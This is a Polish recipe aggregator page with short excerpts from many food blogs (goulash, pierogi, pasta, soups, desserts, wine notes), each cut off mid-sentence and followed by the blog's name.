spaliły,  dorzucamy gambasy,  czekamy aż nabiorą różowo-złotego koloru z dwóch stron.   Sól i pieprz do smaku. Przekładamy na talerz i podajemy same, z sosem słodkim chilli lub guacamole ( przepis wkrótce

Jemy Pijemy
Penne pesto z kabaczkiem 208

zmięknie. Do tego dodajemy 5-6 łyżeczek pesto. Ja dodaję około 6 bo lubię jak jest jego dużo :) Wrzucamy ugotowany makaron i mieszamy do momentu kiedy cały będzie pokryty sosem. Sól i pieprz do smaku. Przekładamy na talerz i obsypujemy kilkoma plasterkami parmezanu.  Bardzo szybkie i łatwe w przygotowaniu danie. POLECAM

Jemy Pijemy
Makaron po chińsku krok po kroku 176

mieszać. Dodać pokrojoną w słupki marchewkę. Zamieszać. Wrzucić garść kiełków fasoli mung. Zamieszać. Dodać 2-3 listki kapusty pak choi. Zamieszać. Do wszystkiego dołożyć makaron ( sojowy, ryżowy). Zamieszać. Polać sosem sojowym i dodać szczypiorek. Na wierzch dodać ostrą pastę z papryki. Zjeść ze smakiem

Jemy Pijemy
Pomidor al'a R 210

duży pomidor malinowy 1 okrągły twaróg wędzony Pilos  kilka łyżeczek pesto oliwa z oliwek sos balsamiczny garść liści bazylii zioła prowansalskie do posypania Pomidora i ser pokroić w grube plastry i układać na sobie warstwa po warstwie. Ser posmarować z wierzchu pesto.  Na samej górze udekorować gałązką bazylii i oliwką

Jemy Pijemy
Gulasz z łopatki na kaszy jęczmiennej 185

dodać usmażone mięso. Dodać przyprawy i czosnek. Wszystko razem dusić około godziny, od czasu do czasu mieszając i podlewając bulionem, do momentu aż mięso będzie mięknie i powstanie sos.  Kaszę ugotować wg instrukcji podanej na opakowaniu, na sypko. Gulasz podawać na kaszy. Doskonałym dodatkiem są kiszone ogórki lub surówka z buraczków

Jemy Pijemy
Moja przygoda z MasterChef :) fotorelacja 175

moja rodzina pochodzi ze Lwowa... Zamurowało mnie! Moja babcia urodziła się we Lwowie. Tuńczyk tataki był usmażony dokładnie tak jak chciałam i zasmakował, jurorom choć Michael stwierdził,że sos z wasabi jest dla niego zbyt ostry...Hmmm... Oczekiwanie na werdykt dłużyło się w nieskończoność... MAM FARTUCHA ! ! ! A oto moja silna grupa wsparcia. Na zdjęciu zabrakło mojej mamy, która musiała wcześniej

Jemy Pijemy
Rydze na maśle 237

Całkiem niedawno poznałam smak rydza. Muszę przyznać, że bardzo mi odpowiada. Propozycja, którą proponuję dziś może być doskonałą bazą do jajecznicy czy sosu, czy farszu do tarty. Ja zrobiłam z nich jajecznicę :) 4 dorodne rydze 1 cebula 1-2 łyżki masła ( zależy kto ile lubi ;) ) sól świeżo zmielony pieprz. Cebulę pokroić w plasterki i zeszklić na maśle. Grzyby oczyścić, pokroić

Jemy Pijemy
Wegetariańskie cheeseburgery 230

ręce w zimnej wodzie i uformować kotleciki. Ułożyć je na blaszce i piec około 30 min w nagrzanym na 180*C piekarniku. Podałam je w bułce z dynią, z sosem pomidorowym i czosnkowym, sałatą, cebulą i ogórkiem. Niestety nie zdążyłam zrobić zdjęcia w całej okazałości. Całkiem udany eksperyment :) Polecam

Jemy Pijemy
Wegetariański gulasz bakłażanów z jarmużem i kaszą jaglaną 190

papryczka chilli 4 duże cebule 5 ząbków czosnku 5 dorodnych liści jarmużu 6-8 łyżek oleju z suszonych pomidorów 1l bulionu warzywnego 5 łyżeczek suszonej słodkiej papryki 2 łyżki sosu sojowego jasnego 3 łyżeczki brązowego cukru 5 łyżeczek  aromatycznej przyprawy Adobo Canario  ( skład: oregano, tymianek, czerwony pieprz, czosnek i kmin) 1 duża garść posiekanej kolendry 1 jogurt naturalny

Jemy Pijemy
Pak Choi z dodatkami wegetariańskimi 170

kilka kwiatów białego kalafiora 1 łyżeczka białego sezamu 1 łyżeczka czarnego sezamu ok 4 łyżki oleju z kiełków kukurydzy z aromatem trawy cytrynowej i imbiru ( Lidl) 3 łyżki jasnego sosu sojowego 1/2 łyżeczki brązowego cukru 2 porcje makaronu ( rosołowego ) sok z połowy cytryny świeża kolendra Warzywa umyć i pokroić w grube kawałki. Za patelni ( najlepiej woku) rozgrzać olej.  Wrzucić

Jemy Pijemy
Zmątwione krewetki ;) 163

pieprzem. Odcedzić makaron zostawiając kilka łyżek pozostałej po gotowaniu wody. Makaron dodać do krewetek.  Wszystkie składniki połączyć ze sobą. Podlać delikatnie wodą z makaronu aby powstało więcej sosu.  Zredukować płyn. Podawać posypane natką pietruszki  chilli. Całe gotowanie nie zajęło mi więcej niż

Jemy Pijemy
Kapuśniak na wędzonych żeberkach 281

wywaru pokrojone w kostkę ziemniaki. Poczekać aż lekko zmiękną i dodać do wywaru podsmażoną kapustę. Gotować jeszcze przez kilka minut. Doprawić. Ja ostatnio zamiast soli, zupy przyprawiam jasnym sosem sojowym. Podawać z kawałkiem żeberka. Smacznego

Jemy Pijemy
Śledzie korzenne ze skórką pomarańczową 260

imbiru 1 łyżeczka goździków kilka kulek jałowca kilka kulek ziela angielskiego 3-4 ziarna kardamonu 1 i 1/2 szklanki oleju 2-3 liście laurowe skórka z pomarańczy 1 łyżka sosu balsamicznego 1 mała cebula Do oleju dodać przyprawy i wszystko razem podgrzać aby uwolnić aromaty. Ostudzić. Śledzie kilkukrotnie przepłukać w wodzie lub mleku. Pokroić na mniejsze kawałki. Cebulę pokroić

Jemy Pijemy
Pierogi z kapustą i grzybami 250

podsmażenia  świeżo mielony czarny pieprz. Kapustę przegotować w wodzie. Dorze odcedzić i posiekać.  Grzyby opłukać, zagotować i posiekać. Nie wylewać wody po gotowaniu ( może się przydać do sosów, zup ) Na maśle zeszklić pokrojoną w drobną kostkę cebulę, dodać kapustę i grzyby. Wszystko razem podsmażyć. Farsz nałożyć na rozwałkowane i powycinane ciasto. Zlepić pierożki. Gotować w osolonej wodzie ( można

Jemy Pijemy
Carpaccio z polędwicy wołowej z parmezanem i suszonymi pomidorami 212

zabrakło :(  Dodałam drobno pocięte suszone pomidory. Całość polałam oliwą z oliwek wymieszaną z ziołami. Posoliłam solą morską oraz doprawiłam świeżo zmielonym pieprzem.  Można jeszcze dodatkowo polać je sosem balsamicznym. Biegnę po kapary i robię nowe :) Smacznego

Jemy Pijemy
Łosoś w sezamie na roszponce 196

garści roszponki 4 cm pora 12 czarnych oliwek 4 łyżeczki sezamu 1-2 łyżki oleju do smażenia 2 łyżki oleju z pistacji sól  pieprz ewentualnie oliwa chilli i sos balsamiczny Łososia umyć i wytrzeć do sucha. Pokroić na mniejsze kawałki. Obtoczyć w sezamie i obsmażyć z każdej strony na gorącym oleju. Roszponkę umyć i rozłożyć na talerzach. Na górze

Jemy Pijemy
Łosoś na szpinaku w cieście francuskim 185

rozgrzanego na ok 180-200*C piekarnika i piec około 30-40 minut. Podawać i na gorąco i na zimno. Jak kto lubi.  Ja dodatkowo polałam go sosem czosnkowym. Smacznego

Jemy Pijemy
Zielone szparagi na maśle i białym winie. 156

Lubię gotować z sezonowych produktów, a że sezon na szparagi właśnie się rozpoczyna musiałam je kupić :) Tym razem bardzo prosty przepis i zarazem lekki :) bez ciężkich sosów, tartej bułki itp. 2 pęczki zielonych szparagów 3-4 łyżki masła ok 5-8 cl białego wytrawnego wina 1-2 ząbki czosnku 1 pomidor lub kilka koktajlowych sól  1 łyżeczka cukru pieprz

Jemy Pijemy
szybkowar-gulasz wieprzowy z prawdziwkami i kaszą gryczaną... 224

zamknąć szybkowar, po zasyczeniu pary gotować z 15 minut, szybkowar otworzyć jak sam spuści ciśnienie otworzyć szybkowar, zagotować i wlać mąkę romieszaną ze śmietaną 12% z ciut wodą, zagęścić sos - podać z kaszą gryczaną i ogórkami konserwowymi gulasz jest aromatyczny, pachnie grzybami i jest pyszny............SMACZNEGO

W Mojej Kuchni Lubię
szybkowar-gołąbki z młodej kapusty z mięsem z szynki,ryżu,musztardy,koperku w pomidorach... 191

zasyczeniu pary gotować 15 minut, szybkowar otworzyć jak sam spuści ciśnienie gołąbki wyjąć do miski i można zajadać i na ciepło i na zimno - z wywaru można zrobić sos jeśli będą jedzone na ciepło..................SMACZNEGO

W Mojej Kuchni Lubię
Grillowana karkówka marynowana w jogurcie 267

lodówki, u mnie na całą noc. Następnie karkóweczkę grillować z obu stron często obracając aż dobrze się przyrumieni. Gotową karkóweczkę podałam z grillowanym chlebkiem oraz  zieloną sałatką z sosem czosnkowym

Monia miesza i gotuje
Panna cotta 140

sekundę do gorącej wody (oczywiście nie zanurzać całej filiżanki - trzeba to zrobić tak, by woda nie wlała się do deseru) . Deser wyłożyć na talerzyki i podawać z owocami, sosem owocowym lub czekoladowym. Przepis pochodzi z domowych zapisków

Mania Wypiekania
Kawa z likierem kawowym 200

kogo: dla fanów kawy dla chcących wypić kawę w nowej wersji dla mających ochotę na kawowy deser Składniki na 1 kawę: 60ml espresso 120ml mleka 1 łyżka syropu lub sosu czekoladowego 15-30ml kawowego likieru Kahlúa (lub innego)  Składniki do dekoracji: 100ml śmietanki 30% lub 36% 1 łyżeczka cukru pudru 1 płaska łyżeczka ciemnego kakao wiórki czekoladowe/posypka czekoladowa

Mania Wypiekania
Serniczki na zimno (czekolada - karmel - wanilia) 368

śmietanki kremówki (30 lub 36%) łyżka cukru pudru łyżeczka żelatyny 3 łyżki mleka 2 łyżki masy karmelowej (kajmakowej) 50g gorzkiej czekolady łyżeczka ekstraktu waniliowego Składniki na dekorację: bita śmietana sos karmelowy (opcjonalnie) czekoladowe wiórki (opcjonalnie) Wykonanie: Łyżeczkę żelatyny zalewamy łyżką zimnej wody i odstawiamy do napęcznienia. Po chwili dodajemy do niej gorące mleko i rozpuszczamy tak by nie było żadnych

Mania Wypiekania
Schab pieczony faszerowany warzywami 333

czasie wyłączamy piekarnik i zostawiamy schab w piekarniku do ostygnięcia. Tak upieczony schab wieprzowy jedliśmy solo, do kanapek krojąc go w dość grube plastry, ale można do niego dorobić sos pieczeniowy i zjeść jako drugie danie na obiad.. Smacznego!     The post Schab pieczony faszerowany warzywami appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Cevapcici 198

możemy przystąpić do grillowania/smażenia – ja wcześniej obtoczyłem je jeszcze w mieszance ulubionych przypraw. Obracamy co kilka minut i równomiernie grillujemy z wszystkich stron. Można podawać w sosem (tzatziki, czosnkowym, chińskim słodko-kwaśnym itp), pieczywem i surówką, lub jako główne danie obiadowe. Artykuł Cevapcici pochodzi z serwisu Ugotuj

Ugotuj to sam ...
szybkowar-pieczeń mielona z kiszonym ogórkiem... 193

wody, zamknąć szybkowar i od chwili zasyczenia pary gotować 25 minut na mniejszym ogniu - szybkowar otworzyć jak sam spuści ciśnienie pieczenie wyjąć na talerz, wywar można wykorzystać do zrobienia sosu gdy podamy porcje pieczeni na ciepło na obiad, jest też smaczna na zimno do pieczywa....................SMACZNEGO

W Mojej Kuchni Lubię
Mucver - tureckie placki. 167

mąka. Mieszamy. Rozgrzewamy patelnię z niewielką ilością tłuszczu. Smażymy na małym ogniu z obu stron po kilka minut. Kładziemy na papierowe ręczniki aby odsączyć tłuszcz. Można podawać np. z sosem czosnkowym, koperkowym

Jedz zdrowo żyj zdrowo!
Serce Fit Cake 233

nowo i  od tego momentu jego sprzedaż stale wzrasta. Rośnie też lista produktów, w których karob znajduje zastosowanie. Można go spotkać zarówno w makaronie, czekoladzie, likierach, chałwie, sosach, sucharach dakos, zupach, w lodach, a także w serach. Przy czym lista ta nie wyczerpuje jego zastosowań. To dobre źródło białka, witamin oraz minerałów przy jednoczesnym braku glutenu. Strąki można spożywać

ClauditteMissCooking
Pieczeń z indyka 192

Lubicie takie pieczone mięsko? Ja bardzo lubię, bo można je zjeść na dwa sposoby. Gorący, soczysty wyjęty prosto z piekarnika pokroiłam na plastry i podałam z sosem chrzanowym do obiadu. Na zimno świetnie smakuje na kanapkach, Składniki: 1 kg piersi z indyka marynata 1 cebula 2 ząbki czosnku 6 łyżek oleju 2 łyżki octu balsamicznego z modeny 1/2 łyżeczki słodkiej

O kuchni z uczuciem
Kalafior zapiekany pod serowym beszamelem 416

małym strumieniem mleko (ja robię to trzepaczką ręczną) i gotować aż powstanie gęsty, gładki beszamel. Dodać oba sery, sól i gałkę muszkatołową, dokładnie wymieszać.  3. Różyczki kalafiora zalać sosem, posypać startytm serem żółtym i płatkami migdałowymi. Piec ok 30 min w 180*C aż wierzch się zrumieni

Kto ugości moich gości?
Lekka zupa pomidorowa 206

delikatna . Przygotowuje się ją na wiele sposobów - mrozi, suszy, konserwuje, smaży...                  Zupy i sosy z okry (jest ona rośliną bardzo blisko spokrewnioną z prawoślazem lekarskim!) są szczególnie polecane dla osób cierpiących na choroby żołądka, ponieważ podczas gotowania warzywo to staje się kleiste, co jednak

Kuchnia Prezydentowej
Aromatyczna zapiekanka z klopsikami 230

wyjęłam, posypałam serem i zapiekałam kolejne 10-15 minut aż ser się dokładnie roztopił, ale nie podpiekł.       Ja podałam z surówką z kapusty pekińskiej z sosem koperkowo-czosnkowym. Wypróbujcie koniecznie

Kuchnia Prezydentowej
Chili con carne 185

duże puszki pomidorów, lub około 2 kg świeżych, sparzonych i obranych ze skóry 3 puszki czerwonej fasoli 1 puszka kukurydzy odrobina przecieru pomidorowego 2-3 papryczki chili łyżka sosu tabasco (ja używam zielonego) łyżka cukru odrobina majeranku słodka i ostra papryka w proszku 2 listki laurowe sól Mięso podsmażam na oleju z posiekanym chili, dodaję cebulę, czosnek i przecier pomidorowy

Kuchnia Prezydentowej
Zupa pieczarkowa Prezydentowej 224

zawartość przelewam do blendera lub wysokiej miseczki, miksuję. Powinno być płynne po dolaniu śmietanki, ale jeśli będzie za gęste trzeba dodać trochę wywaru z bulionu i warzyw. 4. Zmiksowany sos pieczarkowy wlewam do zupy, wsypuję estragon, mieszam, zagotowuję, doprawiam do smaku. Rozlewam do miseczek lub talerzy, podaję z makaronem, kleksem kwaśnej śmietany i siekaną pietruszką. Smacznego! Przepis bierze udział

Kuchnia Prezydentowej
Żabie udka z kurczaka 412

naprawdę idealne danie na szybki obiad. Żabie udka z kurczaka 2 nieduże piersi z kurczaka Marynata ( 3-4 łyżki przyprawy do kurczaka -gotowej mieszanki lub czerwonego "Delikatu", 2 łyżki sosu sojowego, 4 łyżki śmietany, świeżo mielony pieprz czarny) 1 jajko 3 łyżki wody gazowanej 2 łyżki mąki ziemniaczanej mąka pszenna (tyle, żeby zagęścić ciasto) szczypta soli 3/4 szklanki oliwy

Kuchnia Prezydentowej
Kurczak w sosie mango 271

lodówce. Rozgrzewamy oliwę na patelni i smażymy kawałki kurczaka na dość mocnym ogniu, ale nie więcej niż 2-3 minuty. Następnie zmniejszamy ogień, dokładamy chutney, chwilę przesmażamy, żeby sos pokrył wszystkie kawałki, wlewamy śmietankę, doprawiamy do smaku solą, pieprzem, płatkami chili i octem winnym. Przekładamy do cazuelas lub większych kokilek (wyjdą ok. 3-4 niewielkie porcje) i wkładamy do piekarnika

Kuchnia Prezydentowej
Kimchi Stir - Fry 225

kochają kuchnię wschodnią. Koreański prażony ryż z kimchi Składniki pasty: 1 szalotka 1 papryczkachili czerwona 2-centymetrowy kawałek świeżego imbiru 1 ząbek czosnku 3 łyżki oleju sezamowego 2 łyżeczki sosu sojowego 1 łyżka pasty miso (można pominąć) 1 łyżeczka pasty krewetkowej 1 łyżka pasty sezamowej (można pominąć) 1 łyżka octu ryżowego lub octu ciemnego balsamicznego 2 łyżki soku z kimchi

Kuchnia Prezydentowej
Sok pomidorowy 207

smaku soku z kartonu. Bez dodatku wody, polepszaczy smakowych, z pomidorów, które wyrosły na sandomierskiej ziemi...  Zrobiłam sok-bazę, który będę mogła po otwarciu doprawić dowolnie, ząbkiem czosnku, sosem tabasco, octem balsamicznym lub szczyptą chili. Zróbcie sobie chociaż parę słoików, póki są pomidory! ;) Domowy sok pomidorowy Składniki: 5 kg dojrzałych pomidorów sól (ja dałam 2,5 łyżki

Kuchnia Prezydentowej
Tosty z burakiem i kawiorem 173

lodówki na 20-30 minut. 2 . Tosty rozkładamy na blasze wyłożonej papierem do pieczenia, smarujemy cienko masłem i układamy buraczki - wytworzony sok zlewamy, można go użyć np.: do sosu do sałatki. 3 . Na buraczkach rozkładamy krążki czerwonej cebuli, przykrywamy kratką z pasków mozzarelli. 4 . Pieczemy w piekarniku rozgrzanym do 180°C przez 15 minut. 5 . Podajemy posypane koperkiem i kawiorem

Kuchnia Prezydentowej
Hiszpańskie buraczki faszerowane 203

wymieszać z łyżką majonezu. 4 . W miseczce wymieszać ocet biały balsamiczny z odrobiną soli, pieprzu, 1/2 łyżeczki cukru do rozpuszczenia składników, dodać roztarte żółtka, oliwę i wymieszać na gładki sos. Wlać do miski z farszem, dokładnie połączyć. 5 . Farszem napełniać buraczki, schłodzić w lodówce przez 2 godziny. Udekorować pozostałym majonezem i koperkiem

Kuchnia Prezydentowej
Kurczak pieczony wg Jamiego 255

rozmarynu i piec kolejne 45 minut, albo do chwili kiedy mięso będzie miękkie, a ziemniaki zarumienią się.  Kurczak jest gotowy, jeśli mięso z łatwością odchodzi od kości, a sos, który puści jest klarowny. Mnie się nie chciało robić surówki, więc na koniec dorzuciłam warzywa - cukinię w plastrach, marchewkę podgotowaną razem z ziemniakami, paprykę zieloną i czerwoną i kilka szalotek

Kuchnia Prezydentowej
Słodka Babeczka u Prezydentowej 216

odwiedzili nas Asiek, Pafka i Najsłodsza Babeczka - czyli Zuzia, przywożąc niezwykłe podarunki z Polski, czyli kiełbasę, ser i chleb! ;) Po serdecznym przywitaniu odbyła się uroczysta obiadokolacja (łosoś w balsamicznym sosie malinowym, ziemniaki, surówka z selera z orzechami i sałatka koreańska), następnie nie kończące się rozmowy, żarty  i debaty. Zuzia, córeczka Asi i Pawła przez cały czas dbała o dokumentację

Kuchnia Prezydentowej
Pierogi z mięsem - przepis podstawowy 4071

minuty - uwaga na ogień, nie powinny wrzeć tylko lekko bulgotać. Wyciągać łyżką cedzakową na duży talerz, polewać smażoną cebulą. Można podawać ze śmietaną, surówką z kapusty lub polane sosem grzybowym

Kuchnia Prezydentowej
Pasztet na winie z zieloną cebulką i serem cheddar 214

soku(obrócić 2-3 razy w trakcie smażenia). Wlać wino i gotować kolejne kilka minut, aż płyn zredukuje się do połowy.  3. Wyjąć wątróbkę do pojemnika malaksera a sos na patelni gotować jeszcze 1 minutę, zlać do wątróbki, zmiksować. Na koniec wlać do masy jeszcze 2 łyżki wina i doprawić solą, pieprzem i pieprzem ziołowym. Przełożyć do miseczek

Kuchnia Prezydentowej
Pomidorowa dwukolorowa 171

gładko i sprawdzamy konsystencję z kremem pomidorowym. Regulujemy ewentualnie bulionem, aby były takie same. 3. Do szerokich miseczek wlewamy po chochelce kremu pomidorowego, następnie chochelką mniejszą, np. do sosów, delikatnie i powoli wlewamy na środek pomidorowego krem biały, na to ponownie krem pomidorowy i znów biały.  Nie jest to łatwe, ale ja po trzech miseczkach nabrałam już wprawy

Kuchnia Prezydentowej
Pomidorowa zupa meksykańska z wołowiną, czekoladą i rodzynkami 240

przykryciem.  2. Mięso podsmażyć na oleju, krótko z każdej strony na mocnym ogniu, podlać winem, wyłączyć gaz, pozostawić 5 minut na gorącym palniku. 3. Przełożyć mięso i sos do garnka z warzywami, podlać gorącą wodą, dodać przyprawy, skórkę cytrynową i dusić na małym ogniu przez 1 godzinę ( w razie potrzeby dolać nieco wody). Paprykę podsmażyć na tej samej patelni

Kuchnia Prezydentowej
Spaghetti z kurkami i cukinią 299

lekko zgęstnieje. Dodać cukinię pokrojoną w cienkie ćwierćplasterki, zagotować. Usmażone mięso pokroić w  nieduże kawałki. 4. Dodać ciepły makaron i posiekaną pietruszkę, zmniejszyć ogień i mieszając żeby sos dokładnie pokrył makaron. Przełożyć na talerze i od razu podawać, najlepiej z białym półwytrawnym winem

Kuchnia Prezydentowej
Ziemniaki z pieca (Hasselback) 216

można przestawić piekarnik na funkcję grill i przełożyć ziemniaki na 10 minut na najwyższą półkę w piekarniku.            Podawać z sosem czosnkowym, jogurtowym, posypane żółtym serem lub do chili con carne. Smacznego

Kuchnia Prezydentowej
Marynowana dynia 262

dziewczyna!) , sama nigdy wcześniej ani takiej nie jadłam, ani nie robiłam. Nawet nie wiecie, jak żałuję; z pewnością jest to jedna z niezbędnych rzeczy w spiżarce - nadaje się do sosów, wędlin, serów, wspaniale łączy się z serami, makaronem i zapiekankami. Znajdziecie na pewno dla niej zastosowanie w kuchni, a jeżeli nie, to prawdopodobnie zjecie wszystkie marynowane kostki dyni prosto

Kuchnia Prezydentowej
Tortellini 267

dużym garnku i wrzucamy tortellini. Czekamy aż wypłyną i gotujemy na średnim ogniu 3-4 minuty. Wyciągamy na sito, odsączamy i skrapiamy oliwą. Wykładamy na talerz i polewamy sosem pomidorowym. Posypujemy startym parmezanem i dekorujemy świeżą bazylią. Smacznego

Kuchnia Prezydentowej
Biała kiełbasa z chili i cebulą zapiekana w piwie i miodzie 269

stronę (w razie potrzeby podlewać piwem).                 Pod koniec zapiekania płyn powinien wyraźnie się zredukować, tworząc sos, a kiełbaski powinny być przypieczone.             Ja podałam na obiad, z puree ziemniaczanym i surówką z kiszonej kapusty. Kiełbaski świetnie

Kuchnia Prezydentowej
Biała kiełbasa marynowana w ciemnym piwie 236

Polać pozostałą marynatą i przełożyć naczynie na górny ruszt. Zmniejszyć temperaturę do 180°C. Piec aż cebula i kiełbasa wyraźnie się podpieką, a z marynaty utworzy się aromatyczny, ciemnozłoty sos. Podawać gorące. Ja zrobiłam do tej kiełbasy marchewkowo-ziemniaczane puree i podałam z chrzanem, ćwikłą i musztardą kremską

Kuchnia Prezydentowej
Brägele 253

menu z potraw znajduje się tylko kilka typowych dla okolicy potraw: Brägele, Leberle (kawałeczki wątróbki w sosie), Flammkuchen (płaski placek z kwaśną śmietaną, boczkiem i cebulą), Schlachtplatte (płyta zimnych mięs ze świeżo zabitej świni - m.in. świeża kaszanka, wędzony boczek i salceson), Bratwurst (kiełbasa na gorąco), za to spory wybór rewelacyjnych, wytwarzanych przez właściciela win. Owe wina zmieniły mój ogólny, nieprzychylny

Kuchnia Prezydentowej
Złociste talarki ziemniaczane 218

kładziemy na gorącą patelnię lub tackę. Smażymy lub grillujemy po 2-3 minuty z każdej strony. 4. Podajemy z łagodnym keczupem Pudliszki lub dipem ziołowym, pyszne są też z sosem zaziki. Ja jestem niepoprawną entuzjastką wszelkich kartoflanych wcieleń i talarki spełniają moje kolejne ziemniaczane marzenia. :) Spróbujecie

Kuchnia Prezydentowej
Gulaszowa kwaśnica w smakach świata 233

morska 1łyżka domowej roboty przyprawy do MOUSSAKI- oregano, cynamon, goździki, gałka muszkatołowa, płatki czosnku, liście laurowe i ziele angielskie 1 łyżka słodkiej papryki  1 łyżka domowej przyprawy do sosu czosnkowego- prażone płatki czosnku, nasiona chilli, czosnek niedźwiedzi i lubczyk 2 łyżki oliwy z oliwek 2 duże cebule czosnkowe PRZYGOTOWANIE: Do misy multicookera dodać oliwę i ustawić program FRY (czas

ClauditteMissCooking
Makaron z kurczakiem i warzywami 689

kilka minut danie mamy.  Składniki: 150 g makaronu rurki, 1 pierś z kurczaka, 1 biała cebula, 1 marchew, 150 g cukinii, ½ papryki czerwonej, 3 łyżki pomidorów krojonych w sosie własnym z chili, olej rzepakowy Rapso, sól do smaku, pieprz czarny świeżo mielony do smaku, szczypta cukru, świeże listki bazylii, mieszanka przypraw z czosnkiem do smaku. Przygotowanie: Makaron gotujemy

Moniki Smakołyki
Gulasz z żołądków drobiowych. Wersja dla dziecka 198

trzeba. Do żołądków dodajemy resztę składników, oprócz jogurtu naturalnego. Całość dusimy na wolnym ogniu około 50 minut do godziny. Po wyłączeniu palnika dodajemy jogurt i mieszamy, aby uzyskać jednolity sos. Podajemy z makaronem. Skomentuj

MamaOskarka
Zupa z grzybów leśnych z fasolą 182

międzyczasie ugotować również pokrojone grzyby w małej ilości wody z solą (nie odcedzać). Cebulę przysmażyć na maśle i połączyć z grzybami i fasolą. Śmietanę wymieszać z mąką odrobiną gorącego sosu z grzybów, dodać do potrawy, zagotować i przyprawić do smaku. Podawać z pieczywem lub ziemniakami

Tradycyjna Kuchnia
Kotlety ze świeżych grzybów 182

mannę, mąkę ziemniaczaną, posiekaną natkę pietruszki i jaja. Dokładnie wymieszać składniki, formować owalne kotlety, obtaczać w bułce tartej i smażyć na złoty kolor z obu stron. Podawać polane dowolnym sosem z ziemniakami i surówką

Tradycyjna Kuchnia
Pierogi z truskawkami 222

można dodać łyżkę oleju. Ostrożnie wrzucać na wrzątek po kilka pierogów (ilość zależy od wielkości garnka ) gotować parę minut od wypłynięcia. Podawać  ze słodką śmietaną lub dowolnym owocowym sosem. Smacznego

Stare Gary
Winestone - wino i kamienna deska 204

pieczona kaczka na czerwonej kapuście, stek "Black Angus",  trylogia polskich zup, burgery z wołowiny angus (pochodzącej z krów hodowanych na białostocczyźnie), makaron Trofie białe w truflowym sosie śmietankowym z pieczonymi pomidorami...    Pomysłodawcą i dyrektorem projektu jest Paweł Anders. Przy restauracjach Winestone, powstały sklepy WINESHOP, w których oprócz wina można kupić oliwy, oliwki, czekolady...    Zaletą karty

królestwo garów
Cytrynowy kurczak z kolendrą 235

domownicy całym sobą się go dopominają, czasami nie mam innego wyjścia. Przy tej temperaturze na zewnątrz staram się, by mięso dało się przyrządzić jak najszybciej. Unikam też gęstych, ciężkich sosów na bazie mąki czy śmietany. W przypadku drobiu doskonale można zastąpić je sokiem z cytryny z dodatkiem ziół. Składniki (dla 2 osób): 1 podwójna pierś kurczaka sok z 1/2 cytryny

W SMAK
Bakłażan zapiekany ze smażoną cebulką, pomidorami i serem feta 231

niej położyć pokrojony w kostkę ser feta i posypać ziołami - piec 15-20 minut w 200 stopniach  SMACZNEGO! Zobacz tez przepis na  Frytki z cukinii z sosem czosnkowym  <klik> Zobacz tez przepis na Zapiekankę ziemniaczaną z pieczarkami i cebulą <klik

Pora na pora i pomidora
Pak choi z patelni w miksie ze szparagami. 258

ząbki czosnku czarne oliwki pieczona cukinia (użyliśmy cukinii w zalewie z oliwy) orzeszki ziemne suszone pomidory papryczka jalapeno dymka rzeżucha wędzony ser oliwa z oliwek zioła prowansalskie, pieprz, sos sojowy Przygotowanie zaczynamy od umycia kapusty i odcięcia końcówki, aby liście rozdzielić. Jeśli macie dużą kapustę to warto największe liście przeciąć wzdłuż. W szerokim garnku zagotowujemy wodę i wrzucamy do niej

vegetanie
Pierogi z pieca ze szpinakiem i ricottą 347

Przepis na pyszne pierogi drożdżowe pieczone z piekarniku. Mi najlepiej smakują maczane w sosie czosnkowym. Składniki: Ciasto 500 g mąki pszennej 250 ml mleka 1 jajko całe 1 żółtko 40 ml oleju 40 g drożdży łyżeczka soli łyżeczka cukru   Farsz 450 g szpinaku (mrożony) łyżka masła 200 g sera ricotta 2 ząbki czosnku sól, pieprz Dodatkowo białko do posmarowania

e-PrzepisyKulinarne
Przepis na… – Lasagne Verdi alla bolognese 388

Makaron w postaci dużych, prostokątnych płatów, zapieczony z farszem pod sosem beszamelowym to idealna potrawa na obiad we dwoje lub kolację ze znajomymi. Włosi kochają lasagne bolognese i napoli, każdą. My pokusiliśmy się o zrobienie zupełnie nowej, wiosennej, zielonej wersji tej sycącej włoskiej potrawy. ciasto: pół kilograma mąki pszennej 3 jajka 300 gramów szpinaku 2 łyżki oliwy z oliwek farsz

Bon Ton Italia
Klasyczne gołąbki z młodej kapusty 148

przygotowywania kapusta nam za mało zmięknie i będzie lekko twardawa. Samych klasycznych gołąbków myślę, że przedstawiać nie trzeba ;) Mięso i ryż podane w kapuście smakują doskonale, zwłaszcza zalane pysznym sosem pomidorowym

Milion Smaków
Piersi kurczaka w krakersach 279

sposób będą miękkie, soczyste i bardzo smaczne. Do przygotowania poniższego dania nie trzeba używać oleju, dzięki temu mięso nie będzie tłuste. Piersi kurczaka w krakersach możecie podać, np. z sosem jogurtowym lub czosnkowym i ulubioną sałatką.  Składniki: 1 podwójna pierś z kurczaka 200 g jogurtu naturalnego 100 g krakersów solonych sól, pieprz przyprawa do kurczaka Pierś umyć, osuszyć

Ugotować
Gulasz wieprzowy z fasolą 206

się już godzinę, a nasza fasola jest miękka, dodajemy fasolę do garnka z mięsem. Dokładnie mieszamy, zwiększamy odrobinę ogień i gotujemy bez przykrycia około 20 minut - w tym czasie sos powinien odpowiednio zgęstnieć. Doprawiamy cukrem, solą i pieprzem. Przed podaniem posypujemy świeżą natką pietruszki. Smacznego

My Culinary Art
Dorsz po japońsku 298

znalazłam przepis kilka lat temu w internecie, później robiłam już wszystko „na oko”, stąd brak źródła. Miękka ryba w delikatnym cieście, chrupiące warzywa i super marynato-sos. Znika ze stołu błyskawicznie. I nie wiem co napisać więcej, więc po prostu pójdę robić zdjęcia ciastu ;-)   Rybę pokroić na kawałki, doprawić solą i pieprzem. Z jajek, mąki i wody

wcinaj to
Chrupiący kurczak 355

się robi, wybornie smakuje i zawsze wychodzi. Polecam szczególnie, gdy masz już dość klasycznych obiadów a czasu jak zwykle brakuje. Możesz zaserwować go zarówno z pieczonym ziemniaczkiem, jak i sosem czosnkowym lub/ i warzywami sezonowymi. Świetnie sprawdzi się na imprezę, jako przystawka podczas oglądania meczu, czy na rodzinny obiad. Spróbuj, czekam na twoją opinię! Składniki: podwójna pierś z kurczaka pomysł

Wielki apetyt
Flavours of Portugal - kolacja, Tejo oraz wielkie białe wina Portugalii 191

dziś, ale zyska jeszcze podczas kilku kolejnych lat starzenia. Wspaniale połączy się z sałatką z grillowanym kalmarem, duszoną piersią z kurczaka, pstrągiem w ziołach lub też z małżami w sosie cytrynowym. Herdade de Esporao Verdelho 2006 Średni wiek winorośli to 10 lat rosną na glebach kredowych i łupkowych. Wino fermentowane w kadziach stalowych, nie miało kontaktu z beczkami dębowymi

królestwo garów
